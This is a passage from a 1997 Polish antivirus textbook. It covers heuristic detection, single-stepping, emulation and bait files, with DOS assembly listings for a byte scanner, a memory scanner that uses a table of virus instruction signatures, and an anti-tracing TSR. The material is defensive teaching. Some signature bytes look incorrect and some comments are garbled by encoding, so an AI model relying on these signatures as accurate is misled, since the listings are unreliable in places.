mov dx,bp ; dx:ax=liczba podzielona przez bx,
pop bp ; a w bx reszta z dzielenia
ret
Dziel32 endp
;-------------------------------------------------------------------
; (teksty komunikatow+zmienne ogolne)
;-------------------------------------------------------------------
TeCopyRight db CR,LF,'SKANER v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,' Wywolanie: SKANER NazwaPliku CiagBajtow'
db CR,LF
db CR,LF,' CiagBajtow moze skladac sie z liczb zapisanych heksalnie lub zwyklego'
db CR,LF,' tekstu np: '
db CR,LF,' _ CD 21 - szuka wywolania przerwania 21h'
db CR,LF,' _ ''wirus'' - szuka slowa "wirus"'
db CR,LF,' _ ''abc''80C5''def''EE F6 - szuka lancucha "abcÃ+def_¸"'
TeCRLF db CR,LF,0
TeSzukamCiagu db 'Szukam lancuch "',DrCiag ,'" w pliku "',DrPlik,'"',0
TeBezBledu db 'OK !',0
TeBrakParametrow db 'BLAD : Podaj Parametry !',0
TeBrakNazwyPliku db 'BLAD : Podaj nazwe pliku !',0
TeBrakCiagu db 'BLAD : Podaj ciag do wyszukania',0
TeZlyCiag db 'BLAD : Podany ciag zawiera bledy !',0
TeBrakPlikuNaDysku db 'BLAD : Nie moge znalezc pliku "',DrPlik,'"',0
TeBlad_ARIF db 'BLAD : Brak dostepu do pliku "',DrPlik,'" (int 24h) !',0
TeZlyAtrybutPliku db 'BLAD : "',DrPlik,'" to etykieta dysku lub katalog !',0
TeBrakDostepuDoPliku db 'BLAD : Brak dostepu do pliku - nie mozna chwilowo zmienic atrybutow ! ',0
TeNieMogeOtworzyc db 'BLAD : Nie moge otworzyc pliku "',DrPlik,'"',0
TeNieMogeCzytac db 'BLAD : Nie moge czytac pliku "',DrPlik,'"',0
TeNieMogeZamknac db 'BLAD : Nie moge zamknac pliku "',DrPlik,'"',0
TePlikZaKrotki db 'BLAD : Plik "',DrPlik,'" jest krotszy niz ciag !',0
OffsetyKomunikatow dw offset TeBezBledu ; BlBezBledu equ 00h
dw offset TeBrakParametrow ; BlBrakParametrow equ 01h
dw offset TeBrakNazwyPliku ; BlBrakNazwyPliku equ 02h
dw offset TeBrakCiagu ; BlBrakCiagu equ 03h
dw offset TeZlyCiag ; BlZlyCiag equ 04h
dw offset TeBrakPlikuNaDysku ; BlBrakPlikuNaDysku equ 05h
dw offset TeBlad_ARIF ; BlBlad_ARIF equ 06h
dw offset TeZlyAtrybutPliku ; BlZlyAtrybutPliku equ 07h
dw offset TeBrakDostepuDoPliku ; BlBrakDostepuDoPliku equ 08h
dw offset TeNieMogeOtworzyc ; BlNieMogeOtworzyc equ 09h
dw offset TeNieMogeCzytac ; BlNieMogeCzytac equ 0Ah
dw offset TeNieMogeZamknac ; BlNieMogeZamknac equ 0Bh
dw offset TePlikZaKrotki ; BlPlikZaKrotki equ 0Ch
TeNieZnalazlem db 'Nie znalazlem lancucha "',DrCiag ,'" w pliku "',DrPlik,'" !',0
TeZnalazlem db 'Ciag "',DrCiag ,'" wystapil '
db DrUnIntDec
dw offset IleZnalezionych
db ' raz(y) w pliku "',DrPlik,'" !',0
TeZnalezionyNaPozycji db 'Ciag "',DrCiag ,'" wystapil na pozycji '
db DrUnIntHex
dw offset AdresZnalezienia
db ','
db DrUnIntDec
dw offset AdresZnalezienia
db 0
HexChars db '0123456789ABCDEF'
TablicaWrostkow db DrPlik
dw offset NazwaPliku
db DrCiag
dw offset Ciag
db DrUnIntDec
dw offset Bin2DecUnInt32
db DrUnIntHex
dw offset Bin2HexUnInt32
NumerBledu db ?
MojAdresPSP dw ?
AdresCzytania dd ?
AdresZnalezienia dd ?
Przeczytane dw ?
IleZnalezionych dd ?
DlugoscCiagu dw ?
AbsDlugoscCiagu dw ?
StareDTAOfs dw ?
StareDTASeg dw ?
StareI24Ofs dw ?
StareI24Seg dw ?
ZmienAtrPliku db ?
Hex2DecBufor db 11 dup(?)
CiagStart:
Ciag db RozmiarCiagu dup(?)
CiagKoniec:
NazwaPliku db DlugNazwyPliku dup(?)
BufDTA DTA_STRUC <>
SKANER ENDS
;-------------------------------------------------------------------
; Segment DTA
; do wczytywania danych (127 sektorow 512 bajtowych=65024 bajtow)
;-------------------------------------------------------------------
ProgDTA SEGMENT
BuforDanych db RozmiarBuforaDanych dup(?) ; bufor na dane z pliku
ProgDTA ENDS
;-------------------------------------------------------------------
; Segment Stosu
;-------------------------------------------------------------------
ProgStos segment word stack 'STACK' ; ustaw STOS
dw RozmiarStosu dup(?)
ProgStos ends
end start
12.2. Heurystycze wyszukiwanie wirusów
Jak wspomniano we wstępie, większość istniejących wirusów to najczęściej przeróbki, stąd techniki wykorzystywane w pierwowzorach są bez większych zmian implementowane w kolejnych, nowych pokoleniach wirusów.
Wykorzystując ten fakt, twórcy programów antywirusowych zaczęli stosować technikę heurystycznego wykrywania kodu, polegającą na tym, iż na podstawie znajomości charakterystycznych, klasycznych sekwenqi instrukcji zawartych w typowych wirusach, można znaleźć nieznane jeszcze, ale wykorzystujące je wirusy. Typowe instrukcje wykorzystywane przez wirusy zostały wymienione w poprzednich rozdziałach, np. przy okazji omawiania instalacji w systemie i przejmowania przerwań. Poniżej pokazano kilka instrukcji podatnych na heurystykę lub sekwencji znajdujących się najczęściej w kodzie typowego wirusa plikowego. Jeżeli program antywirusowy, przeszukując pamięć lub plik, zidentyfikuje je (lub też inne), najczęściej informuje o tym użytkownika. Często wykrycie nawet kilku charakterystycznych bajtów w pamięci może umożliwić wykrycie nieznanego jeszcze wirusa. Poszukiwanie sekwencji może być prowadzone bądź to przy okazji zwykłego skaningu, bądź też podczas kontrolowanego uruchamiania programów (tryb krokowy, emulacja procesora).
CMP AX, 4B00h ; sprawdƒ czy jest uruchamiany jaki£ program
; 3D,00,4B kod maszynowy rozkazu
CMP DS:[0],Z ; czy ostatni blok pamiÛci
; 80,3E,00,00, 5A kod maszynowy rozkazu
MOV AX, 2521h ; funkcja DOS ustaw adres przerwania 21h
INT 21h ; wywo│aj funkcjÛ B8,21,25,CD,21 kod maszynowy
; sekwencji
MOV WORD PTR [l],0008 ; ustaw blok jako systemowy w nag│¾wku MCB
; C7,06,01,00,08,00 kod maszynowy instrukcji
CALL NEXT ; weƒ relatywny offset NEXT:
; E8,00,00 kod instrukcji
Zamieszczony poniżej program stara się znaleźć w całej wykorzystywanej przez programy użytkowe pamięci operacyjnej sekwencje, które zwykle są wykorzystywane przez wirusy.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; HEUR v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program przeglada bloki MCB obecne w systemie i poszukuje w ;
; nich kilku standardowo wystepujacych w wirusach sekwencji ;
; Przy jego uzyciu mozna wykryc w pamieci niektore wirusy ;
; rezydetne ;
;----------------------------------------------------------------------------;
; Dane techniczne ;
;----------------------------------------------------------------------------;
; ;
; Pierwszy bajt sygnatury jest w pliku zXORowany z wartoscia 0AAh, a po ;
; uruchomieniu programu przywraca oryginalna wartosc pierwszego bajtu ;
; Dzieki temu program nie wykryje sygnatur np. w buforach dyskowych lub ;
; buforach programow cache (np. SMARTDRV) ;
; ;
; Program nie sprawdza blokow wolnych (wskaznik PSP w polu bloku MCB=0) ;
; ;; ;; ;;
;----------------------------------------------------------------------------;
JUMPS
HEUR SEGMENT
ORG 100h
ASSUME CS:HEUR, DS:HEUR
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
IleSygnZebyAlarm = 10 ; okresla, ile sygnatur musi wystapic
; w badanym bloku MCB, aby potraktowac
; jego zawartosc za podejrzana
; i wyswietlic ostrzezenie
DlugProgPara = (Offset Koniec-Offset Start+15)/16+10h
; okresla dlugosc programu w pamieci
Sygn struc ; \
SygnNazwa db 45 dup (?) ; \
SygnDlug dw 0 ; \
Sygn00 db 0 ; \
Sygn01 db 0 ; \
Sygn02 db 0 ; \ struktura opisujaca
Sygn03 db 0 ; / sygnature wirusa
Sygn04 db 0 ; /
Sygn05 db 0 ; /
Sygn06 db 0 ; /
Sygn07 db 0 ; /
Sygn ends ; /
DlugoscSygnatury = Size Sygn ; dlugosc struktury
;-----------------------------------------------------------------------------
Start:
lea si,TeCopyRight ; SI=ofset do informacji o programie
Call DrukLn ; wyswietl info o programie
Call SzukajHeur ; szukaj sekwencji w pamieci
mov ax,4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje
;-----------------------------------------------------------------------------
SzukajHeur:
push es ax bx cx dx ; zachowaj zmieniane rejestry
mov bx,IleSygnatur ; ile sygnatur do odXORowania
lea si,Sygnatury ; skad pobierac sygnatury
add si,size SygnNazwa+size SygnDlug
; i gdzie XORowac bajt
XORujSygnature:
xor byte ptr [si],0AAh ; przywroc prawdziwy bajt sygnatury
add si,DlugoscSygnatury ; wez kolejna sygnature
dec bx ; zmniejsz licznik sygnatur
jnz XORujSygnature ; powtarzaj dla kazdej sygnatury
mov IloscSygn,0
mov ax,5802h ; funkcja DOS - czy UMB dolaczone ?
int 21h ; wywolaj funkcje
push ax ; zachowaj informacje na pozniej
mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
mov bx,1 ; sprobuj dolaczyc bloki UMB
int 21h ; wywolaj funkcje
mov ah,52h ; funkcja DOS - wez adres listy list LL
int 21h ; wywolaj funkcje
mov ax,es:[bx-2] ; wez adres pierwszego bloku MCB
NastepnyMCB: ; kolejne bloki MCB
mov es,ax ; ES=MCB
mov bl,byte ptr es:[0] ; zachowaj info o znaczniku bloku
mov dx,es:[0003] ; DX=rozmiar bloku MCB
mov cx,es:[0001] ; CX=adres PSP z bloku MCB
Call SzukajWBloku
stc ; +1 w dodawaniu ponizej
adc ax,word ptr es:[0003] ; dodaj rozmiar bloku MCB+1
; AX=nastepny blok MCB
cmp bl,'M' ; czy to posredni blok ?
je NastepnyMCB ; TAK - przegladaj
cmp bl,'Z' ; czy to ostatni blok ?
je OstatniBlokMCB ; TAK - zakoncz przegladanie
; zly blok MCB - naruszona struktura
lea si,TeZlyMCB ; \ wyswietl komunikat
Call DrukLN ; / o blednym bloku MCB
OstatniBlokMCB:
pop bx ; przywroc info o UMB
mov bh,0 ; BX=BL
mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
int 21h ; wywolaj funkcje
pop dx cx bx ax es ; przywroc zmieniane rejestry
cmp IloscSygn,0 ; \
jne SzukajHeurPowrot ; \
; - jezeli nie znalazl zadnej
lea si,TeNieMaSygnatur ; / sygnatury to wyswietl komunikat
Call DrukLN ; /
SzukajHeurPowrot:
ret ; powrot
;-----------------------------------------------------------------------------
SzukajWBloku: ; szuka sygnatury w bloku MCB
; AX=blok MCB
; DX=dlugosc bloku w paragrafach
push ds es ax bx cx dx si di ; zachowaj zmieniane rejestry
or cx,cx ; czy blok jest nieuzywany ?
je SzukajWBlokuPowrot ; TAK - nie sprawdzaj i powroc
mov AdresMCB,ax ; zapamietaj adres MCB
inc ax ; ES:0= MCB+1:0
mov es,ax ; ES wskazuje na dane w bloku
lea si,TeSprawdzam ; \
Call Druk ; \
lea si,TeBlokMCB ; \
Call Druk ; \
mov ax,AdresMCB ; \
Call DrukHEX16 ; \ wypisz info o szukaniu
lea si,TeRozmiar ; / w bloku MCB i podaj jego
Call Druk ; / adres, dlugosc
mov ax,dx ; /
Call DrukHex16 ; /
lea si,TeParagraf ; /
Call DrukLn ; /
mov bx,cs ; \
mov ax,es ; \ czy to MCB programu HEUR ?
cmp ax,bx ; / TAK-nie sprawdzaj kodu programu
jne InnyBlok ; / ale sprawdz poza nim
mov ax,DlugProgPara
sub dx,ax ; odejmij dlugosc kodu
or dx,dx ; \ czy nie odjete za duzo ?
jz SzukajWBlokuPowrot ; /
add ax,AdresMCB ; \ ES=dane poza kodem programu
mov es,ax ; /
InnyBlok:
or dx,dx ; \ pomin blok, gdy dlugosc =0
je SzukajWBlokuPowrot ; /
mov IloscBiezSygn,0 ; licznik wystapien w bloku
cld ; SI:=SI+1, DI:=DI+1 po oper. lancuchowych
xor di,di ; dane sa pod ES:0000
SzukajDalej:
mov bx,IleSygnatur ; ustaw licznik sygnatur
lea si,Sygnatury ; podaj, skad pobierac sygnatury
SzukajSygnature:
push si ; zachowaj zmieniane SI
mov bp,si ; zachowaj ofset do nazwy sygnatury
add si,size SygnNazwa+size SygnDlug
; dodaj ofset do sygnatury
lodsb ; wez 1-szy bajt sygnatury
scasb ; czy=bajt w pamieci ?
jnz NastepnaSygnatura ; NIE - sprawdz kolejna sygnature
; TAK - porownaj cala sygnature
mov cx,word ptr ds:[si-3] ; wez dlugosc sygnatury
dec cx ; pierwszego bajtu nie trzeba
; porownywac
push di ; DI jest pozniej potrzebne wiec zachowaj
rep cmpsb ; porownaj sygnature z pamiecia
pop di ; przywroc DI
jnz NastepnaSygnatura ; NIE - nie ma sygnatury
; TAK - sygnatura znaleziona
inc IloscSygn ; zwieksz ilosc wystapien (globalna)
inc IloscBiezSygn ; zwieksz ilosc wystapien (w MCB)
lea si,TeAdres ; \
Call Druk ; \ wyswietl jaka sygnatura
mov ax,es ; \ zostala znaleziona
Call DrukHEX16 ; \ i pod jakim adresem
mov ax,0E3Ah ; \
int 10h ; \
mov ax,di ; \
dec ax ; /
Call DrukHex16 ; /
lea si,TeSygnatura ; /
Call Druk ; /
mov si,bp ; /
add si,SygnNazwa ; /
Call DrukLn ; /
NastepnaSygnatura:
pop si ; przywroc SI
add si,DlugoscSygnatury ; i ustaw na nastepna sygnature
dec di ; ustaw wskaznik na poprzedni bajt
dec bx ; zmniejsz licznik sygnatur
jnz SzukajSygnature ; jezeli nie, to sprawdz kolejna sygnature
NastepnyBajt:
inc di ; wskaznik na nastepny bajt w bloku
and di,15 ; czy ofset>15
jnz SzukajDalej ; NIE - szukaj sygnatur
; TAK - zwieksz numer segmentu
mov di,es ; \
inc di ; \ ES:DI=ES:0010:=ES+1:0
mov es,di ; /
xor di,di ; /
NieZmienSeg:
dec dx ; zmniejsz ilosc paragrafow w bloku
jnz SzukajDalej ; NIE - kontynuuj sprawdzanie
cmp IloscBiezSygn,IleSygnZebyAlarm
; czy ilosc wykrytych sygnatur jest
; odpowiednio duza ?
jb SzukajWBlokuPowrot ; NIE - powrot
lea si,TePrawdopodWirus ; \ TAK - wypisz o tym komunikat
Call DrukLn ; /
SzukajWBlokuPowrot:
pop di si dx cx bx ax es ds ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
DrukLn:
push si ; zachowaj zmieniany rejestr
call Druk ; wyswietl tekst z CS:SI
lea si,TeCRLF ; \ i przejdz do nastepnej linii
Call Druk ; /
pop si ; przywroc zmieniany rejestr
ret ; powrot
;-----------------------------------------------------------------------------
Druk:
push ax si ; zachowaj zmieniane rejestry
DrukPetla:
lods byte ptr cs:[si] ; wez kolejny znak tekstu
or al,al ; czy NUL ?
jz DrukPowrot ; TAK - koniec tekstu
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
jmp short DrukPetla ; pobierz kolejny znak tekstu
DrukPowrot:
pop si ax ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
DrukHEX16:
push ax ; zachowaj 8 dolnych bitow
mov al,ah ; AL=AH=wyzsze 8 bitow
Call DrukHEX8 ; wyswietl wyzsze 8 bitow
pop ax ; przywroc 8 dolnych bitow
DrukHEX8:
push ax ; zachowaj 4 dolne bity
shr al,1 ; \ wez 4 gorne bity
shr al,1 ; \ do AL (podziel przez 16)
shr al,1 ; /
shr al,1 ; /
Call DrukHEX4 ; wyswietl 4 gorne bity
pop ax ; przywroc 4 dolne bity
and al,15 ; utworz z nich liczbe 0..F
DrukHEX4:
push bx ; BX bedzie potrzebne wiec zachowaj
lea bx,HexZnaki ; ustaw BX na tablice konwersji
xlatb ; konwertuj 0..F na '0'..'Z','A'..'Z'
; AL=cyfra
mov ah,0Eh ; funkcja BIOS - wyswietl znak z AL
int 10h ; wywoluje funkcje
pop bx ; przywroc BX
ret ; powrot
HexZnaki db '0123456789ABCDEF' ; tablica konwersji
TeCopyRight db CR,LF,'HEUR v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'_ Szukam sygnatur ...',NUL
db CR,LF
TeCRLF db CR,LF,NUL
TeZlyMCB db CR,LF,'_ Struktura blokow MCB pamieci jest zaklocona !',NUL
TeSygnatura db ': Znaleziona sygnatura : ',NUL
TeNieMaSygnatur db CR,LF,'_ Nie znalazlem zadnej sygnatury !',NUL
TePrawdopodWirus db CR,LF,'_ UWAGA : W ostatnio sprawdzanym bloku MCB moze byc wirus !'
db CR,LF,' Swiadczy o tym ilosc znalezionych w nim sygnatur !',NUL
TeAdres db ' Adres=',NUL
TeBlokMCB db ' MCB=',NUL
TeRozmiar db ', Rozmiar MCB=',NUL
TeParagraf db ' paragrafow',NUL
TeSprawdzam db '_ Sprawdzam',NUL
Sygnatury:
Sygn <'CALL $+3; POP BX ',4,0E8h xor 0AAh,000h,000h,05Bh>
Sygn <'CALL $+3; POP BP ',4,0E8h xor 0AAh,000h,000h,05Dh>
Sygn <'CALL $+3; POP SI ',4,0E8h xor 0AAh,000h,000h,05Eh>
Sygn <'CALL $+3; POP DI ',4,0E8h xor 0AAh,000h,000h,05Fh>
Sygn <'CMP AX,4B00h; JZ ?? ',4,03Dh xor 0AAh,000h,04Bh,074h>
Sygn <'CMP AX,4B00h; JNZ ?? ',4,03Dh xor 0AAh,000h,04Bh,075h>
Sygn <'CMP AX,"MZ" ',4,03Dh xor 0AAh,05Ah,04Dh,075h>
Sygn <'CMP AX,"ZM" ',4,03Dh xor 0AAh,04Dh,05Ah,075h>
Sygn <'MOV AX,2521h; INT 21h ',5,0B8h xor 0AAh,021h,025h,0CDh,021h>
Sygn <'MOV AH,52h; INT 21h ',4,0B4h xor 0AAh,052h,0CDh,021h>
Sygn <'MOV AX,4300h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,043h,0E8h>
Sygn <'MOV AX,4300h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,000h,043h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,4301h; CALL NEAR [] ',4,0B8h xor 0AAh,001h,043h,0E8h>
Sygn <'MOV AX,4301h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,001h,043h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,5700h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,057h,0E8h>
Sygn <'MOV AX,5700h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,000h,057h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,5701h; CALL NEAR [] ',4,0B8h xor 0AAh,001h,057h,0E8h>
Sygn <'MOV AX,5701h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,001h,057h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,3D02h; CALL NEAR [] ',4,0B8h xor 0AAh,002h,03Dh,0E8h>
Sygn <'MOV AX,3D02h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,002h,03Dh,02Eh,09Ch,0FFh>
Sygn <'MOV AX,4200h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,042h,0E8h>
Sygn <'MOV AX,4200h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,000h,042h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,4202h; CALL NEAR [] ',4,0B8h xor 0AAh,002h,042h,0E8h>
Sygn <'MOV AX,4202h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,002h,042h,02Eh,09Ch,0FFh>
Sygn <'MOV AH,3Fh; CALL NEAR [] ',3,048h xor 0AAh,03Fh,0E8h>
Sygn <'MOV AH,3Fh; PUSHF; CALL D PTR CS:[] ',5,0B4h xor 0AAh,03Fh,02Eh,09Ch,0FFh>
Sygn <'MOV AH,40h; CALL NEAR [] ',3,048h xor 0AAh,040h,0E8h>
Sygn <'MOV AH,40h; PUSHF; CALL D PTR CS:[] ',5,0B4h xor 0AAh,040h,02Eh,09Ch,0FFh>
Sygn <'CMP DS:[0],"Z"; JZ ?? ',4,080h xor 0AAh,03Fh,05Ah,074h>
Sygn <'CMP DS:[0],"Z"; JNZ ?? ',4,080h xor 0AAh,03Fh,05Ah,075h>
Sygn <'CMP ES:[0],"Z"; JZ ?? ',5,026h xor 0AAh,080h,03Fh,05Ah,074h>
Sygn <'CMP ES:[0],"Z"; JNZ ?? ',5,026h xor 0AAh,080h,03Fh,05Ah,075h>
Sygn <'MOV DS:[1],0008h ',6,0C7h xor 0AAh,006h,001h,000h,008h,000h>
Sygn <'MOV ES:[1],0008h ',7,026h xor 0AAh,0C7h,006h,001h,000h,008h,000h>
Sygn <'MOV DS:[100h],???? ',4,0C7h xor 0AAh,006h,000h,001h>
Sygn <'MOV ES:[100h],???? ',5,026h xor 0AAh,0C7h,006h,000h,001h>
Sygn <'MOV AX, 100h; PUSH AX; RET ',5,0B8h xor 0AAh,000h,001h,050h,0C3h>
Sygn <'MOV CX, 100h; PUSH CX; RET ',5,0B9h xor 0AAh,000h,001h,051h,0C3h>
Sygn <'MOV DX, 100h; PUSH DX; RET ',5,0BAh xor 0AAh,000h,001h,052h,0C3h>
Sygn <'MOV BX, 100h; PUSH BX; RET ',5,0BBh xor 0AAh,000h,001h,053h,0C3h>
Sygn <'MOV AX, 100h; JMP AX ',5,0B8h xor 0AAh,000h,001h,0FEh,0E0h>
Sygn <'MOV CX, 100h; JMP CX ',5,0B9h xor 0AAh,000h,001h,0FEh,0E1h>
Sygn <'MOV DX, 100h; JMP DX ',5,0BAh xor 0AAh,000h,001h,0FEh,0E2h>
Sygn <'MOV BX, 100h; JMP BX ',5,0BBh xor 0AAh,000h,001h,0FEh,0E3h>
Sygn <'MOV DS:[0086],CS ',4,08Ch xor 0AAh,00Eh,086h,000h>
Sygn <'MOV ES:[0086],CS ',5,026h xor 0AAh,08Ch,00Eh,086h,000h>
Sygn <'MOV AX,DS; DEC AX; MOV DS,AX ',5,08Ch xor 0AAh,0D8h,048h,08Eh,0D8h>
Sygn <'MOV AX,ES; DEC AX; MOV ES,AX ',5,08Ch xor 0AAh,0C0h,048h,08Eh,0C0h>
Sygn <'MOV AL,3; IRET ',3,0B4h xor 0AAh,003h,0CFh>
IleSygnatur = ($-offset Sygnatury)/DlugoscSygnatury
AdresMCB dw ?
IloscBiezSygn dw ?
IloscSygn dw ?
Koniec:
HEUR ENDS
END Start
12.3. Tryb krokowy
Do wykrywania zaawansowanych polimorficznych wirusów nie można stosować zwykłego skaningu, gdyż kod wirusa za każdym razem wygląda zupełnie inaczej. Możliwym wyjściem jest w tej sytuacji wykorzystanie trybu krokowego procesora. Program antywirusowy uruchamia sprawdzany program w trybie krokowym pod kontrolą odpowiedniego monitora tego przerwania przy użyciu np. (4B01/21). Po każdej wykonanej instrukcji wywoływany jest monitor, który sprawdza, czy np. aktualnie wykonywana instrukcja pasuje do listy chararakterystycznych, stałych instrukcji wirusa (jego wersji odszyfrowanej). Jeżeli instrukcja spełnia wymagania, monitor - przy użyciu dozwolonego w tym przypadku skaningu - sprawdza, czy w kodzie jest już odszyfrowany wirus. Jeżeli po przekroczeniu jakiejś wartości granicznej wykonanych instrukcji monitor nie wykryje żadnego podejrzanego kodu, sztucznie kończy program i sygnalizuje, iż nie ma w nim wirusa.
12.4. Emulacja procesora
Ze względu na to, iż omówiony w poprzednim punkcie tryb krokowy można oszukać, autorzy programów AV musieli zastosować inną metodę kontrolowanego uruchamiania programów. W tym celu wbudowali w swe programy interpretator asemblera, dzięki któremu mogą emulować wykonywanie początkowych intrukcji programu, mając jednocześnie nad nim pełną kontrolę. Ze względu na ciągły rozwój procesorów linii 80x86 interpretator asemblera musi być stale rozwijany. Nieuwzględnienie instrukcji wszystkich procesorów spowoduje bowiem, iż przy najbliższym wystąpieniu instrukcji, której monitor jeszcze nie potrafi rozpoznać, jego działanie zostanie zakończone z wynikiem negatywnym. Do niedawna sprawa miała się tak na przykład z kodami 66h, 67h, będącymi interfejsem rozszerzoych instrukcji dla procesorów 386 i wyższych. Niektóre wirusy celowo wykorzystywały je do oszukiwania programów antywirusowych, które po ich napotkaniu kończyły sprawdzanie pliku.
12.5. Przynęty (ang. baits, decoys)
Jedną z technik używanych do łapania prostych wirusów są przynęty. Są to programy, dające się zainfekować ewentualnemu wirusowi. Najczęściej na kod takiego programu składa się kilkaset lub kilka tysięcy razy powtórzona operacja NOP oraz instrukcja zakończenia programu. Program antywirusowy może tworzyć kilka lub więcej takich plików i następnie wykonywać z nimi różne operacje: uruchamiać, otwierać, czytać i zapisywać do nich na różne sposoby, aby dać szansę ewentualnemu wirusowi na ich zainfekowanie.
Wygenerowana przynęta powinna jak najbardziej przypominać typowy program, i to zarówno pod względem długości, jak i zawartości. Jeżeli bowiem długość pliku jest znacząca, tzn. np. wynosi jakąś wielokrotność liczb 10 czy 16, wirus może nie zainfekować takiego pliku.
12.6. Odświeżanie programów systemowych w sektorach
Ta dość trywialna technika służy do nadpisywania programów istniejących w BOOT-sektorach lub Głównych Rekordach Ładujących. Jednym z efektów wykonania takiego odświeżania może być usunięcie nieznanego jeszcze wirusa z zajmowanego przez niego sektora. Podczas przeprowadzania operacji odświeżania należy pamiętać, iż niektóre wirusy całkowicie przejmują kontrolę nad danymi zawartymi w sektorach systemowych, tak więc zamazanie wirusa może spowodować, iż podczas następnego startu systemu system nie będzie się ładował z twardego dysku lub też - co gorsza - nie będzie można odczytać zapisanych na dysku danych.
Możliwe wyjście z tej sytuacji polega na zapisaniu aktualnego stanu dysku (zawartości sektorów) w kopii bezpieczeństwa np. na czystej dyskietce, aby można było później odtworzyć operację odświeżania. Ze względu na możliwość stosowania przez wirusa techniki stealth odczyty najlepiej, byłoby wykonywać przez porty.
12.7. Blokowanie programów używających trybu krokowego
Niektóre monitory antywirusowe posiadają wbudowane mechanizmy blokowania wirusów, które używają trybu krokowego do znalezienia oryginalnych wejść do przerwań.
Zainstalowany monitor przejmuje najbardziej narażone na tracing przerwania (13h, 21h, 2Fh) i podczas ich wywoływania ustawia procedurę obsługi przerwania INT 0lh (trybu krokowego) na pustą procedurę, zakończoną rozkazem IRET, a po wywołaniu oryginalnej procedury chronionego przez siebie przerwania przywraca starą procedurę przerwania l. Dzięki temu wirus próbujący znaleźć oryginalną procedurę przerwania znajdzie adres będący częścią monitora antywirusowego. W efekcie wszystkie wykonywane przez wirusa czynności będą przechodzić przez monitor, który nie pozwoli na niebezpieczne działania.
Powyższą technikę demonstruje poniższy program.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program nie pozwala przejsc w trybie krokowym ;
; przez przerwania 13h i 21h. ;
; W efekcie wirusy uzywajace tracingu do odnalezienia ;
; oryginalnych procedur obslugi tych przerwan nie znajda ;
; ostatniego elementu lancucha, a tylko element posredni. ;
; ;
; Kompilacja : ;
; TASM ANTYTRAC.ASM ;
; TLINK /t ANTYTRAC.OBJ ;
; ;
;----------------------------------------------------------------------------;
;
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do deklaracji
CR = 0Dh ; / lancuchow napisowych
ANTYTRAC SEGMENT ; segment kodu i danych
ORG 100h ; program jest typu COM
ASSUME CS:ANTYTRAC, DS:ANTYTRAC, ES:ANTYTRAC, SS:ANTYTRAC
DlugoscKoduTSR = (offset KoniecKoduTSR-offset PoczatekKoduTSR+15)/16+10h
; oblicza, ile pamieci zajmie TSR
PoczatekKoduTSR:
Start: ; tu zaczyna sie program
jmp Poczatek ; skocz i zainstaluj lub odinstaluj program
NoweInt21h:
cmp ax,3521h ; czy to funkcja 3521h ?
jne Nie3521 ; NIE - skocz na koniec obslugi
cmp bp,0BACAh ; czy to ponownie uruchomiony program ?
; wywolal te funkcje ?
jne Nie3521 ; NIE - skocz na koniec obslugi
; TAK - odinstaluj wirusa
push es ds ; zachowaj zmieniane rejestry
lds dx,dword ptr cs:[StareInt21] ; pobierz stary adres INT 21h
mov ax,2521h ; funkcja DOS - ustaw nowe przerwanie
int 21h ; wywolaj funkcje (rekurencyjnie)
lds dx,dword ptr cs:[StareInt13] ; pobierz stary adres INT 13h
mov ax,2513h ; funkcja DOS - ustaw nowe przerwanie
int 21h ; wywolaj funkcje
push cs
pop es ; ES=zwalniany segment
mov ah,49h ; funkcja DOS - zwolnij blok pamieci
int 21h ; wywolaj funkcje
pop ds es ; przywroc zmieniane rejestry
mov ax,bp ; przekaz informacje do wywolujacego
; programu
iret ; powrot z przerwania
Nie3521:
Call Wylacz_TF ; jezeli bit TF=1, ustaw TF=0
db 0EAh ; czesc rozkazu JMP FAR
StareInt21 dd ? ; koncowka rozkazu JMP FAR
NoweInt13h:
Call Wylacz_TF ; jezeli TF=1, ustaw TF=0
db 0EAh ; czesc rozkazu JMP FAR
StareInt13 dd ? ; koncowka rozkazu JMP FAR
Wylacz_TF:
cli ; zablokuj przerwania
push ax bx ds ; zachowaj zmieniane rejestry
push ss ; \ za pomoca tej sztuczki zwykle
pop ss ; \ mozna pobrac "prawdziwy" obraz
pushf ; / rejestru znacznikow
pop ax ; /
test ah,1 ; czy TF ustawiony ?
jz TF_NieUstawiony ; NIE - nie trzeba nic robic
mov ax,0123h ;
push ax ; ss:[sp]:=0123
pop ax ; ax:=ss:[sp]:=0123
dec sp ; sp=sp-2-wskazuje na wartosc,
dec sp ; ktora byla sciagana ze stosu
pop ax ; ax:=ss:[sp]:=0123 jezeli TF=0
cmp ax,0123h
jz TF_NieUstawiony ; NIE - nie trzeba nic robic
xor ax,ax ; \ DS wskazuje na tablice przerwan
mov ds,ax ; /
